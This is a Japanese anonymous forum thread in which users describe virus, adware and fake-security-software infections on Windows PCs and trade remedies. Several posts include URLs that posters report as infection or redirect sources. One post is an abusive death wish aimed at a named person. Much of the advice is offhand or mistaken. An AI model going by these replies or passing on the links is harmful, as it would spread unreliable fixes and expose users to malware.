　 　　 　 ヽ.　　　　　　ヽ::〈； . '::. :' |::/　　 /　　　,. "
　　　　　　　 `ｰ ､　　　　＼ヽ::. ;::：|/　　　　　ｒ'"
　　　　　／￣二二二二二二二二二二二二二二二二ヽ
　　　　　| 答 |　 ウイルスバスター2007最強伝説. 　│|
　　　　　＼＿二二二二二二二二二二二二二二二二ノ

　 　 　　　　　　　 　 　　　　　　　　　　　　　　　　　　,.へ
　　___ 　　　　　　　 　 　 　 　 　　　　　　　　　　　　ﾑ　　i
　「 ﾋ_i〉　　　 　 　　　　　　 　 　　　　　　　　　　　　 ゝ　〈
　ﾄ　ノ 　　　　　　　　　　　　　　　　　　　　　　　　　　iニ(()
　i 　{ 　 　　　　　　　 　　　＿＿＿_ 　 　　　　　　　　| 　ヽ
　i　　i　　　 　　　　　　　／__,　 , ‐-＼ 　 　 　 　 　　i 　　}
　|　　 i　　　　　　 　　／（●) 　 ( ● )＼　　　　　　 {､　 λ
　ト−┤.　　　　　　／ 　 　（__人__） 　　　＼　　　 ,ノ　￣ ,!
　i　　　ゝ､_ 　　　　|　　　　　´￣` 　 　　　　|　,. '´ﾊ　　　,!
.　ヽ、 　　　｀`　､,__＼ 　　 　 　　　　　 　 ／"　＼ 　ヽ／
　　　＼ノ　ﾉ　　　ﾊ￣r/:::r―--―/::７　　 ﾉ　　　　／
　 　　 　 ヽ.　　　　　　ヽ::〈； . '::. :' |::/　　 /　　　,. "
　　　　　　　 `ｰ ､　　　　＼ヽ::. ;::：|/　　　　　ｒ'"
　　　　　／￣二二二二二二二二二二二二二二二二ヽ
　　　　　| 答 |Windows Me（ウイルス）を入れなおせ│|
　　　　　＼＿二二二二二二二二二二二二二二二二ノ

システムファイルへのアクセスを制限できないOSを未だに使うなんて信じられない。
しかもサポートが切れてるし。
そんなOSはスタンドアローンにしてしまうのが世界のためだ。

そうか、この際バグの少ないＵＮＩＸ系にでもするかな。
ＷＥＢにカスペオンラインあった、どうもありがとう。

SpyMarshalがかってにインストールされました消去法おしえてください

>>161
俺も、それになったwww

残念ながらデスクトップの背景はもうご愁傷様です。

デスクトップの背景が変えられないんだが…

窓をあけたとき右上の画面を大きくするとか小さくするとかのアイコンが数字になってます
ウイルスチェックしても異常ないっていわれる
これってどうやってなおえいますか？；；

ttp://242a147a9f82189e466e4659612009a4-t.nbajgi.org

これ、ウイルスですか？
怖いダイアログが出てきて、OK押せばよいのかキャンセル押せばよいのかわかりません。
たすけて。

以下、ダイアログ内容です。

注意：レジストリデータベース、システムファイルにあるエラーによってコンピュータは機能が正しくなくて、フリーズ、クラッシュの恐れもあります。エラーを修正するとコンピュータパフォーマンスが向上してデータ損失ができなくなります。
SystemDoctorをインストールして無料のスキャンをしますか？(推薦)
ＯＫ　キャンセル

165です。
なんでもないです。焦って調べる前に投稿した。自己解決。安心した。

削除ツール有料

すみません。
最近パソコン使ってたら画面に電卓の機能が勝手にしかも大量に
出てくるようになったんですが、これってなんかのウィルスに
かかったということでしょうか。
何が何だか分かんなくてすごく焦ってます。。助けてください。

検索結果画面が大量に出てきて作業ができません。やはりウィルスでしょうか？

動画みてたらいきなりウィンドウズのヘルプとサポートの画面が何個もでてきて、強制終了してまた起動したらすべてのインターネットに接続できなくなりました。セーフモードでシステム復元も出来ないし接続確認してもなにもありません。
長々とすいませんが、本当に誰か助けて下さい。お願いします

Trojan-Clicker.HTML.IFrame.bu
っていうウィルスが検出されました。
ノートンでは検出されなかったのに・・
撃退方法ってありますか？

ad-wareが起動できなくなってかなり重たくなった
インターネット開いたりメッセンジャー開いても
勝手にすぐ閉じてしまうし
どうすればいいんだー

>>171
ブラウザのキャッシュを削除

>>173
さんくすー

初心者ですいません
昨日からＣドライブが何もしてないのに
勝手に使用容量が増え
ディスクがいっぱいになりましたとの
メッセージが頻発
いらないファイルを削除しても
またすぐいっぱいになってしまいます
何かにかかったのでしょうか？
対策はありますか？

何かのログをチェック

いつのまにかウィルスに感染したらしく、インターネットに接続できません。
PC起動するとMSWSOCKのエラーが多数出ます。
AVGでウィルス検索しましたが、検出されません。インターネット一時ファイル、
クッキー等は排除しました。
対処法ありますか。。。

>>177
感染の特定を

シマンテック・セキュリティチェック （オンラインウイルススキャン）
http://www.symantec.com/region/jp/securitycheck/index.html
一時的に「信頼済みサイト」に登録して、
現在の自分のIPを確認くんででもチェックしておいてからスタート（オンラインスキャンは時間がかかります）

あ、接続できないんだね
ネカフェでNortonの体験版落として持って帰ってくるとか

>>178
ありがとうございます。フラッシュメモリ経由でNortonの体験版いれてみます。

質問。
　�@立ち上げるとピーと警告音が10秒ぐらい鳴る。
　�A何を開くのにも20〜30分かかる
　�Bアイコンをクリックしたら、他のアイコンが開く
　どうしたらいーか教えてください

>>181
もうそうなったら駄目終わってる
あきらめて、パソコンリカバリ

このスレでノートンはないんじゃない？
ウイルスを特定出来ないから世界中で忌避されてるのにさ。
他人事だからどうでもよいのだろうけどさ。

AV-Comparatives 2007/8 オンデマンド検出力テスト　(2007/9/1発表、検体数808,344)
ttp://www.av-comparatives.org/seiten/ergebnisse_2007_08.php
------------(以下、「ADVANCED＋」97%以上)---------------
1. Trustport AV WS 　　　　99.64%(△0.28, 2↑)　　|○ --.--% | 58%(FP22,STD)
2 .Avira AntiVir PE 7　　 99.45%(△0.60, 3↑)　　　|�C 99.29% | 71%(FP18,STD)
3 G-DATA AVK 　　　　　　99.31%(▼0.14, 1↓)　　 |�@ 99.88% | 31%(FP5,ADV)
4. Symantec NAV 2007 　98.80%(△1.97, 7↑↑)　|�H 96.75% | 24%(FP0),ADV
5. Kaspersky 7.0　　　　　　98.46%(△0.57, 5→) 　　|�D 98.86% | 9%(FP1,STD)
6. AVG AM 7.5　　　　　　　97.75%(△1.38, 9↑↑) �G 96.81% |　8%(FP14,無印)
7 ESET NOD32 2.7　　　　97.60%(△0.89, 8↑) 　　|�L 94.26% | 68%(FP2,ADV＋)
8. F-Secure2007　　　　　 97.57%(▼0.34, 4↓) 　　|�E 97.93% | 31%(FP1,ADV)
9. eScan　　　　　　　　　　　97.53%(▼0.36, 5↓) 　　|○ --.--% |　9%(FP1,STD)
10. BitDefender 10 Pro　 97.51%(△1.40, 10→)　　|�B 99.51% | 48%(FP12,STD)
----------------(以下、「ADVANCED」93%以上)-----------
11 avast! Pro 4.7　　　　　 95.24%(△1.38, 12↓) 　　|�F 96.99% | 26%(FP4,ADV)
12 McAfee 2007 　　　　　93.15%(△1.52, 15↑↑)　|�N 93.71% | 24%(FP3,ADV)
---------(以下、「STANDARD」、90%以上)-------------------
13. F-Prot 　　　　　　　　　92.20%(▼1.07, 14↓↓) 　|○ 87.03% | 31%(FP26,STD)
14. Norman　　　　　　　　　90.93%(▼2.70, 13↓↓)　|○ 86.05% | 28%(FP8,ADV)
15. MS LiveOneCare1.6 　90.37%(△7.97 , 17↑↑)　|�I 96.42% | 18%(FP1,STD)
---(以下、「無印」、90%未満)-------------------------------
16. Fortinet 　　　　　　　　　89.98%(▼4.01, 11↓)　　|�M 94.20% | 71%(FP1000超,無印）
17. Dr.Web 　　　　　　　　　 89.87%(△0.60, 16↓↓)　|�O 92.48%| 30%(FP36,STD)

左欄は順位、製品名、検出率、前回07/2ポイント増減、07/2順位、
中欄はAV-Test.orgの検出率と順位、
右欄はAV-Compの07/5のﾚﾄﾛｽﾍﾟｸﾃｨﾌﾞ検出率、誤検出（FP)数、評価,。矢印二つは格上げ・格下げ

「原田ウィルス00」とやらに感染してしまった・・・。
回線切断でとりあえずの被害は最小限に抑えられたようだけど、
駆除方法等ご教授願えないでしょうか。

ＷｉｎＸＰ　ＩＥ　６です

ttp://hopelessromantic.com/pop.php
ttp://www.bestdietforme.com/dietquiz.aspx?aff=22

とかいうページが勝手に開くようになりました。
何に感染したのでしょうか。

>>186
つSpybot

ほかのアンチウイルスソフト入ってるなら控えたほうがいいぜ特にバスターと暇人カスペだと

>>186
http://drweb.jp/support/?cureit
http://www.shareedge.com/spywareguide/txt_onlinescan.php

質問です
ウイルスバスター2007を使用しているのですが
不審なexeを実行してしまったのでスキャンしてみたところ
スキャン中に何度何度も「ウイルスを処理できません」の警告が出ます
その後ウイルスは見つかりませんでした、との表示が出て終了します
これはどういう場合なのでしょうか？

ちなみにバスターと併用できそうなソフトはどんなものがありますか？

まず、オンラインスキャンを有効活用しようやカスペとノートンのスキャンをしてみるといいよ。
あとバスターにspybotだけはやっちゃ駄目だぜ！やばいことになるから

>>191
ありがとうございます
カスペのオンラインスキャンを行っている所ですが
なかなか時間がかかる上にウイルス数12とか出ちゃってあばばばばばになってる所です

>>195
そこまでヒットしたならとりあえず、安全なパソコンからカスペをインストールして自分のパソコン入れる
そのあと、セイフモードでスキャンして駆除　その後はカスペを製品版を買うなり、ほかの会社の買うなりしー

>>187
>>189
どうもありがとうございました。
keygen.exeなるものを踏んだのがいけなかったようです。

�@マウスのポイントが何かおかしい。クイックしてないのに、矢印持ってっただけで押したようなことになる。�A画面立ち上げたら青い画面で止まって、ブーッという警告音が鳴り続ける。

�B何回か付けたり消したりしてたらやっと付いた。やっとかと思ったけど時間経つとやっぱりポイントおかしい。�CavastをDLしてくる。感染ファイル1個発見→削除で2日ぐらい快適にパソコン動作。

�D今日また立ち上げたら画面が止まった。
長文ですみません!どうしたらいいでしょうか?

ちなみにavastで検査した結果感染0でした

オンラインスキャンしてみたらどうかな　カスペとバスターとノートンあたりで

ＤＶＤを再生した時に映像が小刻みに再生しながら音声もエコーがかかって
雑音だらけなのはウイルスのせいなのでしょうか？Ｅ−ドライブを使う時だけ
で、他の音声は正常です。どうしたらいいでしょうか？詳しい方宜しくお願いします。
ちなみにバスター07使ってます。

ドライブがおかしいんじゃないか

自分もそう思ったんですがメーカーに症状を言うとソフト側の問題でドライブの問題
では無いと言ってるんですよー(>_<)購入してまだ10ヶ月ですし…
リカバリしてみるしか無いですかね…。

電源入れた途端から正常に起動せず、セーフモードか通常スタートしか選択できず、どちらにしても同じ画面に戻ってしまいます。どうしたらいいのでしょうか(/_;)？

そこまでならリカバリーしたほうがいいかもね

きょうのおやつはウイルスだーよ

かおる姫.exeとかいうファイル開いてしまったのですが
削除されたファイルを復元させる方法ありませぬか

kiqcusgw.exeとkeystone.exeというのがやばいよ。消しても問題なし。

>>207ありがとうございます！昨日の14時からしているんですが、すでに20時間たっても終わらないです。Windowsｲﾝｽﾄｰﾙﾌｫﾙﾀﾞにﾌｧｲﾙをｺﾋﾟｰしています。とでています。ﾃﾞｰﾀ自体が重いと時間はやはりかかるのでしょうか？

ウィルスあったら分けて下さい・・・

自分で探せ
探していればどういう場所にどういう形で転がっていてどういう形で侵入し、どういう形で動作するのか
理解することもできるだろうよ
他力本願な時点で碌な事に使わないだろうけどなw

>>211
ウィルスはいなかったんだよな？　
あと、アンチウイルスソフトとOSと更新さえしてしまえばあとは急ぎで必要なの以外はちまちま暇なときに入れれはばいいよ

カスペのオンラインスキャンで
検知しました: ウイルス Password-protected-EXE (亜種)
と出たのですがこれはパス付きのexeだからでしょうか？
いま使ってるウイルスバスター2007では見つからないです

>>214ありがとうございます(T_T)結局さっきﾊﾟｿｺﾝ屋に見てもらい結果はﾊｰﾄﾞﾃﾞｨｽｸが駄目になっていました(T_T)明日ﾊｰﾄﾞﾃﾞｨｽｸをいれかえます。ﾊﾞｯｸｱｯﾌﾟしてなかったので仕事ﾃﾞｰﾀ全てｱﾎﾞｰﾝです(T_T)

ウィルスではないかもしれないのですが…

xeroxというファイル(中にはnwwiaというファイル)がいつの間にか存在していたんですが、それを削除しようとしたら「現在使用されている」という事で削除出来ませんでした。
ファイル自体は2005年に作成された物らしいのですが、全く覚えが無いと言うか、その時まだPC自体を購入していなかったので、全く訳が分かりません…
どなたか対処が分かる方がいらっしゃいませんか…？

ZIPファイル落として解凍したらexeがあって
AVGで脅威が検出されましたって出たんだけど
大丈夫ですかね？
解凍前にスキャンしたときは何も検出されませんでした

ちなみにexeは踏んでません

Googleで検索して表示されたｻｲﾄにいくと
変なｻｲﾄに飛ばされるんたけど
どうすればいいですか？

>>217
全く問題ない公式のファイルだ

>>218
問題ないと思う

>>220
何かいるかもしれないからオンラインスキャンでもしてみー　あとどんなサイトに行くか分からないと何とも言えないわ

>>220
seach diaryとかいうのに飛ばされます
とにかく検索されたｻｲﾄとまったく別のページに飛ばされます
Yahoo!は大丈夫みたいなんですが
ウィルスですかね？

>>220
オンラインスキャンしてみたけどなにも検出されませんでした

危険URLとか詐欺サイトとか海外のサイトに飛ばされてるわけではないよね？

>>223
例えばGoogleから2chを検索し2chのトップへ飛ぼうとすると
2chにいかず
http://www.search-daily.com/search.php?qq=%E3%82%A6%E3%82%A3%E3%83%AB%〜
みたいなURLに飛ばされます
海外ｻｲﾄでした

>>223
http://btcar.com/2ch.cfm?pt=2&rpt=1&kt=1
て所に最終的にいきます

>>225
http://so.7walker.net/index.php?site=hhttp%3A%2F%2Fbtcar.com%2F2ch.cfm%3Fpt%3D2%26rpt%3D1%26kt%3D1&hua=

>>226
注意ｿﾞﾝﾋﾞｳｨﾝﾄﾞを発見(1)
と出ました
どうすればいいんですかね？

メールに写真を添付して送ると、ネットでみた画像が勝手に一緒に送信されます
これはどういうことなのでしょうか？
ウィルスなのでしょうか。対処法おねがいします。

感染したウィルスを放っておくとどうなりますか？

データを持って行かれたり PCの不具合が起きたり、変なサイトに誘導されたりする可能性がでてくる

パソコン、c:ドライブだけリカバリしなさい。　感染を放置するとネットワークに迷惑が掛かる。　　　　　　　　　　　　　

>>228ウイルスに決まってるじゃないかｗ
つAVG

全裸になればいい

ＴＲＯＪ_ＲＥＮＯＳ.ＧＳに感染してしまい、
ＩＥが開けない＋管理者権限がなくなってしまいました。（目下プニル使用）
そのためＩＥにつながるリンクやＡなんとかコントロールも実行不能で、
ATL、DLL等も消失してしまっているようです。

現在ウィルスバスター2006＋Windowz Defender入ってますが、それでサーチや駆除をしても
取りきれていないようですが、他になにか良い対処法ありませんか？

>>234
ウィルスバスター2006以外を推薦

さっきパソコンで調べものをしてたら変な所に飛ばされてそのままパソコンが動かなくなりました。
しかたなく電源ボタンをおして終了してもう一度電源をいれたらパソコンに入ってるあらゆるファイルが開けなくなってました。
これはもうダメなんでしょうか？

大友郁子とっとと死ねよ低脳くせに意見するんじゃねーよ糞が。

W32.Antinny.BF
に感染。ここ1〜2日明らかにネットの通信速度が低下するのでスキャンすると発見、そく駆除してもろもろ対策済。
メールくらいしか流失して困るようなものはないのでまあ大丈夫なのですが、一応パスワードの類は全て変更。
確認したいのですが、このウィルスはパソコン内の無作為のファイルやマイドキュメント、メールなどを自分のパソコンのユーザー名や
メールのアカウントを表題にしたファイルに詰め込んで共有ネットにアップロードすると思うのですが
問題になるアップロードファイルを確認するとファイル内全てを合計すると動画などのため数十ギガに及びました。
この場合メールなどの軽いファイルは先に流失してしまっているのでしょうか。それとも数十ギガ全てが転送し終わっていなければ
アップロードファイル内の全てのファイルは流失していないと考えればいいのでしょうか。自分のネットの接続速度から考えて
ギガ単位の転送にはかなりの時間・日数がかかるはずなので・・・

win321.exe
初めはウィルスセキュリティゼロを使用していたのですがこれを開いたら感染してしまいました。そして何度か『新しいプログラムが更新されました』と出て一応ブロックをしておきました。
ノートンでスキャンした結果英語でトロイなんたら、おそらく『トロイの木馬』でしょう。
しかしノートンで除去しても、ノートン上では安全となるのですが、改めてスキャンしたら再度同じものが検知されます。

どうやったらよいのでしょう。

このリンクが2chに貼ってあってコピーして（これttp://www.youlost.mine.nu/html999/img/2265.jpg）
sleipnir（俺のブラウザ）で開いてリンク先の変な動画をクリックしたらいきなりパソコンが
バグリだして（outlookが開いたり、skypeが立ち上がったり、変なメールがきて（fack japとか書いてあった））
で、調べたらttp://amilala.blogspot.comこのサイトと同じだったんですが。どうすればいいですか？
結構やばいウィルスみたいなんですが。

JaneStyle（笑）なんて使ってるからだお

WinのXPですが、色々なサイトを閲覧してたらマウスが使えなくなりました。
マウスポインタが画面中央付近で固定されてしまい、マウスを動かしても
ポインタが小刻みに痙攣するだけでどうにもなりません。
対処法はありますか？それともＰＣはもうダメなんでしょうか？

単純にフリーズしてるんじゃないのか？

>>243
すいません。対処法があれば教えてもらえませんか？
あるいは携帯からでも調べられる所でも構いません。
何回かリセットしたけど全く症状が変わりません…。

>>244
再起動
新しいマウスを買う
リカバリー

この３つやっても駄目なら諦めろ。

ａｖａｓｔがルーキットを見つけたから
ガクブルしながら急いで
トレンドマイクロのルートキットバスターをいれてスキャンしたんだけど

何も見つけてくれない・・・

誤検知だったのだろうか・・・

それとも、
もうやつは隠れてるんだろうか・・・　((((；ﾟДﾟ))))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ

ヤフーメッセンジャーでｐｍされたファイル開けたら、new.scrに感染した。

ノートンでもひっかからないし、どうしたらいい？

>>247
http://pc11.2ch.net/test/read.cgi/sec/1192120765/9
ここの各種オンラインスキャンを試してみたら

Norton360がどんどんエラー頻発して起動しなくなって、アンインストールすらできなくなったんだけど、
タスクマネージャみたらd.exeっていうのがCPU50%以上使ってHDDをがりがりさせてました。
とりあえず名前を書き換えたけど、これからどうすればいいでしょうか？

yanooメッセンジャーある状態でワーム感染すると
友達リストに人いると
ウィルスを勝手に添付して送っちまうらしい

OnlineGames-DQSとかいうのにかかりました
起動時予約でウイルス削除してもなんども復活します
なにこれ・・・知ってる人いませんか？

PE_VIRUT.BDっていうのにかかったんだが、いくら駆除しても沸きやがる
どうしたらいいんだ！

>>251
>>252
リカバリ（システムの復元）汁

>>252
気にするなよ。

突然画面が小さい赤丸いっぱいになったんだ
リカバリ？

WINXPでスレイプニル＆サンダーバード使用してます。
DLしたzipの中にあった、「説明」と言うhtmlファイルを
クリックしたら、「〜php」にアクセス。
プロンプト画面と言うんでしょうか？小さめの黒い窓が出て来て、
文字数行と、「〜を取得」と言うのが出ました。
恐くてすぐに閉じてしまったのでなんて書いてあったのか、
何を取得されたのか解りません。
キングソフトのネットセキュリティとファイアウォールを入れてますが
念のために現在オンラインスキャンの最中です。
これって何かのウイルスに感染してしまっているのでしょうか？
色々検索したら山田とかベーグル（？）とかがphpにアクセスして感染するらしく、
もしかしてこれなんでしょうか？随分昔のウイルスみたいなんですが…。

>>256
気にすんな
Ｗｅｂアプリケーションのプログラミング言語 POP
どうせ、解析されたってどうってことないべ。

>>255
たいしたことない
気にすんな

結局リカバリしたけど何だったんだ？
こえ〜

完全スキャンで、危険ではないけどポップアップをするものが見つかったから隔離
と出ました。その後のオンラインスキャンでは何もなし
分類はスパイウェアでした
ついでなんで今日バックアップ取ってたらその途中でマイドキュメントの中の、
全データが消えました…
何かに感染してるんでしょうか、やはり
バックアップ取る時、オンラインになってました
どうしたら…

りかばりしよう
あとsageぐらいしようぜ

>>260
中国の罠

参った…
ネットに繋ぐとPCのレスポンスが最悪になる…

スパイウェアっぽいけど検出されねー

検出されねんならリカバリ
したほうがいいよ

超初心者で困ってます(;_;)
昨日2チャンネルを見てみましたらトロイの木馬に感染してしまいました。
ウィルスバスターで隔離ファイルに隔離されてますが『復元』をすると『復元出来ません、新しいファイルを作成するか…（略』
ってでるのですが、
どうしたらいいのか分かりません。
ウィルスバスターでは『安全です』と表示されてますがPCから削除しなくても良いのでしょうか？

誰か↑のコメントお願いしますm(__)m

トロイってもいろいろあるから何に感染したか分からない以上　リカバリーするかオンラインスキャンするの勧めることしかできん
あと、隔離されてるならそれでいいと思うがなぜ復元するかわからん

>>265
バスターが隔離済みなら問題ない。
感染済みのトロイならシステムに潜ってたはず。
それらは時に隔離すると不具合が出るから、一定期間保存後にバスターが削除する。
当然隔離されてるから活動できないので、特別トラブルないなら放置でOK。
ただ君のいう復元がシステムの復元か、隔離ファイルの復元を言ってるのか解らないが、
隔離ファイルを復元を実行すればトロイも活動するので、タスクマネージャーで怪しい物を切ればいいよ。

>>265です
ありがとうございました。
なんかホットしました(>_<)b
復元はウィルスバスター内の隔離ファイル一覧でクリックすると、『復元、削除、新規、…』などタブが出来るのでそれを実行しようとしてました〜。
削除した後ウィルス検知してみたら確認0でしたo(^-^)o
教えてくれた方ありがとうございましたm(__)m

久しぶりにウイルスらしいものが添付されたメールが送られてきた。
おっとあぶない。そうは簡単にひっかからないよ。

rejoice91.exe ってウィルスですか？わかる人います？

virus remover 2008ってなんでしょうか？
このページを開いた瞬間avast!がワームを検出するし
ページ内の「感染データを削除する」を押すとスパイウェアが検知され
おまけにVRM_Free_jp.exeをダウンロードしようとするんですが･･･


本当にアンチウィルスなんでしょうか？

放置されてたんだな。
ttp://ca.com/jp/securityadvisor/pest/pest.aspx?id=453137574

駆除は大概のソフトでも出来るぞ。
a-squared Freeデモできる。
http://www.emsisoft.jp/jp/malware/?Adware.Win32.VirusRemover2008

Totalsecure2009ダウンロードせずにすんだ者です。
IE開くたびにダウンロード汁ってうるさくてIE使えず
ついでにその他色々が開けずExproler.exeを終了しますて…
大事な情報も流出してしまっているんだろうか…

274です。
駆除できました。
自己解決したので。ありがとうございました。

最近サイトを開くとttp://82.98.235.113
ファイル未検出とかいうのが一緒にでてくるん
ですけどこれはウィルスと関係あるのですか？
パソコン初心者でなにもわかりません
お願いします。

無関係です

どうか助けて頂きたいのですが昨日ネットを見てて海外のサイトで
誤ってexeファイルをクリックしてしまいウィルスを感染してるからソフト買えと言う広告がしつこく出る
ウィルスにかかってしまったのですがウィルス駆除ソフトで色々やってみましたが状況が変わらなくて
どうしたら駆除できますでしょうか　お願いします(´・ω・`)

>>278
リカバリーしましょう

f.exe

最悪

http://www.subculture.com/backdoor.html

↑これ踏んだら、変な画面出てきた・・・
ウィルスにかかってしまったのでしょうか？

>>281
それ、このウイルスだよ。よく読んで調べるように
↓
http://ja.wikipedia.org/wiki/%E3%82%A4%E3%83%B3%E3%83%95%E3%83%AB%E3%82%A8%E3%83%B3%E3%82%B6%E3%82%A6%E3%82%A4%E3%83%AB%E3%82%B9

>>89
↑に書いてあるレジストリがいくつかあったので消したらネットはおろかほとんどのソフトが開かなくなったんですけど、どうしたら良いでしょうか？助けてください。

クマ？

ようつべ見てたらウイルスにかかったみたいで。
今、親いない上に自分は最強に機械オンチなので、お願いです…助けてください。

電気屋のパソコンコーナーに相談汁！

>>285
ウィルスバスター　体験版　
で検索、入手、インストールで
とりのぞく

なんか、PCから「ピコンピコン」ウルトラマンのカラータイマー音が鳴り出した。
3分以上、使えなくなったのかな？
とりあえずavast!でチェックしてみる。

日本語でおっけー

今年夏以来きょうまでに3回同じ現象が発生しています。

hotmailから自分のアドレスが送信者の形でメールが勝手に発信されます。
ネット接続していない時間帯に送信されています。
あて先ですが、まず1回目は、アドレス帳に登録していたアドレス全部で、
半分くらいづつ2回にわけてメールが発信されました。
（アドレス帳のアドレスはその後削除しました）

2回目と3回目（今日発生）は、見知らぬ多数のアドレスにあてて
数回にわけて発信されました。きょうのはすべてブラジルのアドレス
（末尾が.br)でした。
AVGでスキャンしたのですが、トラッキングクッキーしか検地しません。

ネット経験は長いのですが、こういうのは初めてです。
なにか解決につながる情報をよろしくお願いします。

たったいま4回目が発生しました。
今度は全部イタリアのアドレスあて。
メールの内容はいつも外国の電気製品販売サイトの宣伝です。

>>291
おまえのせいで大勢の人間に迷惑を与えてることがわかんないのか？
ネット切断してリカバリーしろ

>>292
よくわからんなら答えるなボケ

どうもウィルスではないような
というか一度データを盗まれて
あとはそれを使われて送信されているのでは

ＩＥを開こうとしたら、res://C:\WINDOWS\SYSTEM\SHDOCLC.DLL/dnserror.htmからダウンロードしていますと出て、ページが表示できませんと出ます。
一日がかりでフリーのアンチウイルスソフトとかいろいろ削除しまくったらやっと直りましたが、
ときどき一瞬ですが見れなくなるのは何故でしょうか？

dnserror

あ

パソコン初心者です！ウィルスに感染してウィルスは除去したのですがwindows system32 geBsstus.dllが起動しないと言われます！どの様にすればよいですか？

PCがウイルス感染したらしく、駆除しようと試みましたがセキュリティ関係のプログラムがすべて起動できませんo(T□T)o
これはウイルスの仕業なのでしょうか？？
そしてどうすればいいのでしょうか？？？
教えてくださいww

>>299
セーフモードで起動してみる

ウイルスに感染してからアンチウイルス導入しても遅いぞ

ウイルスに感染した時点で、ウイルスによってはシステムファイルや重要なファイルを壊しとる
システム設定も変更していることが多い
いくらウイルス除去しても、壊れたファイルや書き換えられたファイルもとにもどすのは難しい

質問だけど、
ごみ箱に入れた、ウィルスファイルや感染ファイルは、
ごみ箱を空っぽにしなくても悪さしないよね？

age

>>302
ゴミ箱の実体フォルダにウイルスがいるってのはよくあること

あるソフトを起動していない状態で、そのソフトの
プログラムディレクトリに対する発行元不明のダウンロード
要請メッセージが、PC画面にいきなり表示された。
当然キャンセルした。
そのソフト会社に問い合わせたら、更新ダウンロードを
ネットワークで要請することは一切ないという。
とすると、PCにウイルスが潜んでいるということだろうか？　

また誤検出で大騒ぎになっていますが、本物のウイルスではないので、
ビギナーさんは落ち着いて対処して下さいね。


ESET Smart Security / ESET NOD32アンチウイルスにおける誤検出について
ttp://canon-its.jp/supp/eset/osh_20090309-1.html
NOD32アンチウイルス V2.7における誤検出について
ttp://canon-its.jp/supp/eset/osh_20090309-2.html

535 名前：名無しさん＠お腹いっぱい。 投稿日：2009/03/09(月) 13:55:42
3918 なんか変じゃない?

536 名前：名無しさん＠お腹いっぱい。 投稿日：2009/03/09(月) 14:01:22
3918、dllhost.exeとmsdtc.exeをトロイと検知してる

537 名前：名無しさん＠お腹いっぱい。 投稿日：2009/03/09(月) 14:03:14
こちらでも誤検出してます

538 名前：名無しさん＠お腹いっぱい。 投稿日：2009/03/09(月) 14:07:00
同じく誤検出

539 名前：名無しさん＠お腹いっぱい。 投稿日：2009/03/09(月) 14:21:18
C:\WINDOWS\system32\actmovie.exe - Win32/Kryptik.JXの亜種 トロイの木馬
C:\WINDOWS\system32\dmremote.exe - Win32/Kryptik.JXの亜種 トロイの木馬
C:\WINDOWS\system32\mqsvc.exe - Win32/Kryptik.JXの亜種 トロイの木馬
C:\WINDOWS\system32\nddeapir.exe - Win32/Kryptik.JXの亜種 トロイの木馬
C:\WINDOWS\system32\ping.exe - Win32/Kryptik.JXの亜種 トロイの木馬
C:\WINDOWS\system32\progman.exe - Win32/Kryptik.JXの亜種 トロイの木馬
C:\WINDOWS\system32\stimon.exe - Win32/Kryptik.JXの亜種 トロイの木馬
C:\WINDOWS\system32\Com\comrereg.exe - Win32/Kryptik.JXの亜種 トロイの木馬

初心者です。パソコンを起動させて立ち上げした時の画面が全面青色になり、
warning!Spyware detected on your computer!
install an antivirus or spyware remover to clean your computer.
と表示されてます。元々は背景があってこのような表示はなかったのですが…。どうやったら直るか分かる方いらっしゃったらご教授お願いします。ほんとに素人なのでよろしくお願いします。

>>307

警告！スパイウェアが貴方のコンピュータで検出されました
アンチウィルスまたは、スパイウェアリムーバをインストールし、
コンピュータをクリーンしてください。

と、直訳するとこういう意味になる。

リカバリしかないね。

今後の事も考えると、ハードディスク抹消ツールでも買って置いた方が
良いかもね。

そのツールで完全にクリーンし、その後、購入したPCのリカバリ用PCで
OSを再セットアップしなさい。

CDまたはDVDドライブ無しの最近の廉価なノートPCならリセットボタン
一発かもしれんな。

おっとミスったよｗ

[訂正]
購入したPCのリカバリ用PCで →購入したPCのリカバリ用CD若しくはDVDで

>>309さんありがとうございます。リカバリという単語の意味もよくわかりませんが、新しいパソコン買うって事ですよね？このまま放っておくとどうなるんでしょうか？
また2台目のパソコン買わないで元の状態に戻すのは不可能でしょうか？
重ね重ねお願いします。

>>310
リカバリ：
パソコンを出荷時の状態（君が買い求めた時点）に戻すという
意味に捉えてもらえれば良いよ。

＞元の状態に戻すのは不可能でしょうか？
パソコンは買いかえる必要ナシ！

リカバリしてください。

ハードディスク抹消ツール（ソフト）はJungleの奴でいいと思う。
使い方はパソコンショップの兄ちゃんにでも訊いてみればよろし。

>>311
丁寧にわかりやすく教えて頂きありがとうございました。言われたようにやってみます。ホントありがとうです。

私も238と同様W32.Antinny.BF に感染してしまいました。
どうもPCの動作が遅いことで気づきました。
アップから約２０分後に気がついて、回線を切断。
クラスタワードには設定なし、
うちのPCは最高で56mbpsの通信速度。
写真その他を流出したが、
そいつら合わせると結構な容量になる。
誰かに拾われた可能性はどのくらいでしょうか・・・。orz

焼け石に水ですよ

つまり、手遅れってことですか。

はじめまして。
よく解んないんですがインターネットをしていると突然韓国サイトが何度も開かれるんですが、
これはウイルスに感染しているんでしょうか？？
そしていつの間にかプログラムの中に意味不明な文字のプログラムがあります。
削除を何回もしてるんですけどパソコンを立ち上げる度に復活してしまいます。
誰か解決方法を教えてください！！

>>313
たとえば、流出したことはどうやってわかるんですか？

レスありがとうございます。
正直、わかんないですね。
ただ、元の名前のファイルで、流出、拡散されたのであれば、掲示板に
書き込まれてたり、まとめサイトにファイル名があがってると思うんですよね・
。かれこれ、流出してるの気づいてリカバリやって三ヶ月ぐらいたってて、
それでも掲示板などに書き込まれてないんで、流出しなかったのかなぁ、
とは思っているんですが。ファイル名が変えられて出回っているのではないか、
とか思って不安になるんです・・。

>>318
ありがとうございます。私はそのケースはないですけど、
人ごととは思えませんね。注意しようと思います。

私はファイル共有ソフトの使用はやめましたよ

仕事用の機械からwin32virut heur
が300こほど出てきちゃった^^;
顧客の名簿とか編集してたのに^^;

うわぁ

仕事用で何やってたんだ？

>>320

使ってたのかよ!!!

山田ウィルスについて聞いてもいいですか？

今夜が山田

山田く〜〜ん、座布団1枚持ってきて。

携帯からなので、あまり詳しく書けないのですが
昨日から、PCの動作や起動時が重く心配になり
調べてみたのですが

起動時に強制的にreader.exeやav_md.exeといったプログラムが起動してることが分かりました。
このプログラムは発見できたのですが
発見してから
まともにPCの起動ができなくなりました。

症状としては
起動し、デスクトップ画面まではいくのですが
なにもアイコンなども表示されておらず
